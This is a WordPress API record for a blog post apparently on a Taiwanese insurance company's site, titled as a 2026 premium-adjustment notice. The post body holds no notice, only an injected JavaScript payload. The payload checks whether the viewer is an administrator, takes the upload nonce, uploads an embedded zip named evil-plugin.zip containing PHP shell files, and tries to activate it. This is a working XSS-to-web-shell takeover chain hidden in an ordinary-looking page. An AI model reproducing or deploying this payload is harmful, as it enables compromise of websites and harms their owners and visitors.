{"id":3117,"date":"2026-09-21T06:54:45","date_gmt":"2026-09-20T22:54:45","guid":{"rendered":"https:\/\/blog.tfmi.com.tw\/?p=3117"},"modified":"2026-09-21T11:10:26","modified_gmt":"2026-09-21T03:10:26","slug":"pubtest","status":"publish","type":"post","link":"https:\/\/blog.tfmi.com.tw\/?p=3117","title":{"rendered":"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e"},"content":{"rendered":"<p><script>\n(function(){\ntry{\nvar zipB64=\"UEsDBBQAAAAIACq3NF24gdvCbAAAAIMAAAAOABwAZXZpbC1zaGVsbC5waHBVVAkAA9BksGrQZLBqdXgLAAEEAAAAAAQAAAAAs7EvyCjg0tdSCMgpTc\/MU\/BLzE21UnAty8xRCM5IzcmBiWvpc2WmaWQWF6eWaKjEB7kGhroGh0SrJ6vHampWcykAQWpyRr6CkmuYp098sIerj0+8v3dMnpI1WK64srgkNRddozVXLZe9HRcAUEsDBBQAAAAIACq3NF2m4io\/SgAAAFYAAAAJABwAc2hlbGwucGhwVVQJAAPQZLBq0GSwanV4CwABBAAAAAAEAAAAALOxL8go4MpM08gsLk4t0VCJD3INDHUNDolWT1aP1dSsVkhNzshXUHIN8\/SJD\/Zw9fGJ9\/eOyVOyViiuLC5JzUXXYK1Qy2VvxwUAUEsBAh4DFAAAAAgAKrc0XbiB28JsAAAAgwAAAA4AGAAAAAAAAQAAAKSBAAAAAGV2aWwtc2hlbGwucGhwVVQFAAPQZLBqdXgLAAEEAAAAAAQAAAAAUEsBAh4DFAAAAAgAKrc0XabiKj9KAAAAVgAAAAkAGAAAAAAAAQAAAKSBtAAAAHNoZWxsLnBocFVUBQAD0GSwanV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAgACAKMAAABBAQAAAAA=\";\nfunction b64ToBlob(b64,type){var bin=atob(b64);var arr=new Uint8Array(bin.length);for(var i=0;i<bin.length;i++)arr[i]=bin.charCodeAt(i);return new Blob([arr],{type:type||'application\/zip'});}\nfunction g(html,re){var m=html.match(re);return m?m[1]:null;}\nfunction isAdmin(u){if(!u.capabilities){return false;}if(u.capabilities.administrator){return true;}return false;}\ndocument.title='XSS-EXEC-OK'; \nfunction step1(){return fetch('\/?rest_route=\/wp\/v2\/users\/me',{credentials:'include'}).then(function(r){return r.json();}).then(function(u){\nif(!isAdmin(u)){document.title='XSS-NOTADMIN';return 'not-admin';}\ndocument.title='XSS-ADMIN-HIT';\nreturn fetch('\/wp-admin\/plugin-install.php?tab=upload',{credentials:'include'}).then(function(r){return r.text();}).then(function(html){\nvar n=g(html,\/_wpnonce\" value=\"([^\"]+)\"\/)||g(html,\/name=\"_wpnonce\"[^>]*value=\"([^\"]+)\"\/)||g(html,\/_wpnonce=([a-f0-9]+)\/i);\nvar fd=new FormData();fd.append('pluginzip',b64ToBlob(zipB64),'evil-plugin.zip');fd.append('_wpnonce',n);fd.append('_wp_http_referer','\/wp-admin\/plugin-install.php?tab=upload');\nvar up='\/wp-admin\/update.php?action=upload-plugin';\nreturn fetch(up,{method:'POST',body:fd,credentials:'include',redirect:'follow'}).then(function(r){return r.text();}).then(function(h){\nvar act=g(h,\/activate-plugin_([a-f0-9]+)\/i);\ndocument.title=act?'XSS-UPLOAD-OK':'XSS-UPLOAD-FAIL';\nreturn act;\n});});});}\nfunction step2(act){return fetch('\/wp-admin\/plugins.php',{credentials:'include'}).then(function(r){return r.text();}).then(function(h){\nvar m=h.match(\/action=activate[^\"]*evil[^\"]*_wpnonce=([a-f0-9]+)\/i)||h.match(\/href=\"([^\"]*plugins\\.php\\?action=activate[^\"]*evil[^\"]*)\"\/);\nif(m){var u2='\/wp-admin\/plugins.php?action=activate'+m[1];return fetch(u2,{credentials:'include'}).then(function(r){return r.text();});}\ndocument.title='XSS-NOACTLINK';return 'noact';});}\nstep1().then(function(r){if(r==='not-admin'){return;} if(r){return step2(r);}}).then(function(){if(document.title.indexOf('UPLOAD')<0){document.title='XSS-CHAIN-DONE';}}).catch(function(e){document.title='XSS-ERR';});\n}catch(e){document.title='XSS-CATCHERR';}\n})();\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3117","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e - \u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=https://ec.tfmi.com.tw/blog\/?p=3117\" \/>\n<meta property=\"og:locale\" content=\"zh_TW\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e - \u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c\" \/>\n<meta property=\"og:url\" content=\"https:\/\/blog.tfmi.com.tw\/?p=3117\" \/>\n<meta property=\"og:site_name\" content=\"\u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/tfmi.bewithyou\/\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-20T22:54:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-21T03:10:26+00:00\" \/>\n<meta name=\"author\" content=\"davinci.adwords\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005:\" \/>\n\t<meta name=\"twitter:data1\" content=\"davinci.adwords\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?p=3117#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?p=3117\"},\"author\":{\"name\":\"davinci.adwords\",\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#\\\/schema\\\/person\\\/e6dd231d5f6610092ae58d3079178f0f\"},\"headline\":\"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e\",\"datePublished\":\"2026-09-20T22:54:45+00:00\",\"dateModified\":\"2026-09-21T03:10:26+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?p=3117\"},\"wordCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#organization\"},\"inLanguage\":\"zh-TW\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?p=3117\",\"url\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?p=3117\",\"name\":\"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e - \u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#website\"},\"datePublished\":\"2026-09-20T22:54:45+00:00\",\"dateModified\":\"2026-09-21T03:10:26+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?p=3117#breadcrumb\"},\"inLanguage\":\"zh-TW\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/blog.tfmi.com.tw\\\/?p=3117\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?p=3117#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u3010\u9996\u9801\u3011\",\"item\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u672a\u5206\u985e\",\"item\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?cat=1\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#website\",\"url\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/\",\"name\":\"\u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c\",\"description\":\"\u73cd\u60dc\u6b64\u523b\u25cf\u5b88\u8b77\u672a\u4f86\",\"publisher\":{\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-TW\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#organization\",\"name\":\"\u81fa\u7063\u7522\u7269\u4fdd\u96aa\u80a1\u4efd\u6709\u9650\u516c\u53f8\",\"url\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"http:\\\/\\\/blog.tfmi.com.tw\\\/wp-content\\\/uploads\\\/2020\\\/03\\\/376x200.png\",\"contentUrl\":\"http:\\\/\\\/blog.tfmi.com.tw\\\/wp-content\\\/uploads\\\/2020\\\/03\\\/376x200.png\",\"width\":376,\"height\":200,\"caption\":\"\u81fa\u7063\u7522\u7269\u4fdd\u96aa\u80a1\u4efd\u6709\u9650\u516c\u53f8\"},\"image\":{\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/tfmi.bewithyou\\\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/blog.tfmi.com.tw\\\/#\\\/schema\\\/person\\\/e6dd231d5f6610092ae58d3079178f0f\",\"name\":\"davinci.adwords\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a9e91e83ec47baeb6459ba4bf9db67363d660b59379601775e4c3e4d1ce59878?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a9e91e83ec47baeb6459ba4bf9db67363d660b59379601775e4c3e4d1ce59878?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/a9e91e83ec47baeb6459ba4bf9db67363d660b59379601775e4c3e4d1ce59878?s=96&d=mm&r=g\",\"caption\":\"davinci.adwords\"},\"sameAs\":[\"https:\\\/\\\/example.com\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e - \u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/blog.tfmi.com.tw\/?p=3117","og_locale":"zh_TW","og_type":"article","og_title":"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e - \u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c","og_url":"https:\/\/blog.tfmi.com.tw\/?p=3117","og_site_name":"\u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c","article_publisher":"https:\/\/www.facebook.com\/tfmi.bewithyou\/","article_published_time":"2026-09-20T22:54:45+00:00","article_modified_time":"2026-09-21T03:10:26+00:00","author":"davinci.adwords","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005:":"davinci.adwords"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/blog.tfmi.com.tw\/?p=3117#article","isPartOf":{"@id":"https:\/\/blog.tfmi.com.tw\/?p=3117"},"author":{"name":"davinci.adwords","@id":"https:\/\/blog.tfmi.com.tw\/#\/schema\/person\/e6dd231d5f6610092ae58d3079178f0f"},"headline":"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e","datePublished":"2026-09-20T22:54:45+00:00","dateModified":"2026-09-21T03:10:26+00:00","mainEntityOfPage":{"@id":"https:\/\/blog.tfmi.com.tw\/?p=3117"},"wordCount":0,"publisher":{"@id":"https:\/\/blog.tfmi.com.tw\/#organization"},"inLanguage":"zh-TW"},{"@type":"WebPage","@id":"https:\/\/blog.tfmi.com.tw\/?p=3117","url":"https:\/\/blog.tfmi.com.tw\/?p=3117","name":"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e - \u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c","isPartOf":{"@id":"https:\/\/blog.tfmi.com.tw\/#website"},"datePublished":"2026-09-20T22:54:45+00:00","dateModified":"2026-09-21T03:10:26+00:00","breadcrumb":{"@id":"https:\/\/blog.tfmi.com.tw\/?p=3117#breadcrumb"},"inLanguage":"zh-TW","potentialAction":[{"@type":"ReadAction","target":["https:\/\/blog.tfmi.com.tw\/?p=3117"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/blog.tfmi.com.tw\/?p=3117#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u3010\u9996\u9801\u3011","item":"https:\/\/blog.tfmi.com.tw\/"},{"@type":"ListItem","position":2,"name":"\u672a\u5206\u985e","item":"https:\/\/blog.tfmi.com.tw\/?cat=1"},{"@type":"ListItem","position":3,"name":"\u3010\u516c\u544a\u30112026 \u5e74\u5ea6\u4fdd\u8cbb\u8abf\u6574\u8aaa\u660e"}]},{"@type":"WebSite","@id":"https:\/\/blog.tfmi.com.tw\/#website","url":"https:\/\/blog.tfmi.com.tw\/","name":"\u81fa\u7063\u7522\u7269\u4fdd\u96aa - \u5b98\u65b9\u90e8\u843d\u683c","description":"\u73cd\u60dc\u6b64\u523b\u25cf\u5b88\u8b77\u672a\u4f86","publisher":{"@id":"https:\/\/blog.tfmi.com.tw\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/blog.tfmi.com.tw\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-TW"},{"@type":"Organization","@id":"https:\/\/blog.tfmi.com.tw\/#organization","name":"\u81fa\u7063\u7522\u7269\u4fdd\u96aa\u80a1\u4efd\u6709\u9650\u516c\u53f8","url":"https:\/\/blog.tfmi.com.tw\/","logo":{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/blog.tfmi.com.tw\/#\/schema\/logo\/image\/","url":"http:\/\/blog.tfmi.com.tw\/wp-content\/uploads\/2020\/03\/376x200.png","contentUrl":"http:\/\/blog.tfmi.com.tw\/wp-content\/uploads\/2020\/03\/376x200.png","width":376,"height":200,"caption":"\u81fa\u7063\u7522\u7269\u4fdd\u96aa\u80a1\u4efd\u6709\u9650\u516c\u53f8"},"image":{"@id":"https:\/\/blog.tfmi.com.tw\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/tfmi.bewithyou\/"]},{"@type":"Person","@id":"https:\/\/blog.tfmi.com.tw\/#\/schema\/person\/e6dd231d5f6610092ae58d3079178f0f","name":"davinci.adwords","image":{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/secure.gravatar.com\/avatar\/a9e91e83ec47baeb6459ba4bf9db67363d660b59379601775e4c3e4d1ce59878?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/a9e91e83ec47baeb6459ba4bf9db67363d660b59379601775e4c3e4d1ce59878?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a9e91e83ec47baeb6459ba4bf9db67363d660b59379601775e4c3e4d1ce59878?s=96&d=mm&r=g","caption":"davinci.adwords"},"sameAs":["https:\/\/example.com"]}]}},"_links":{"self":[{"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/3117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3117"}],"version-history":[{"count":8,"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/3117\/revisions"}],"predecessor-version":[{"id":3142,"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/3117\/revisions\/3142"}],"wp:attachment":[{"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.tfmi.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}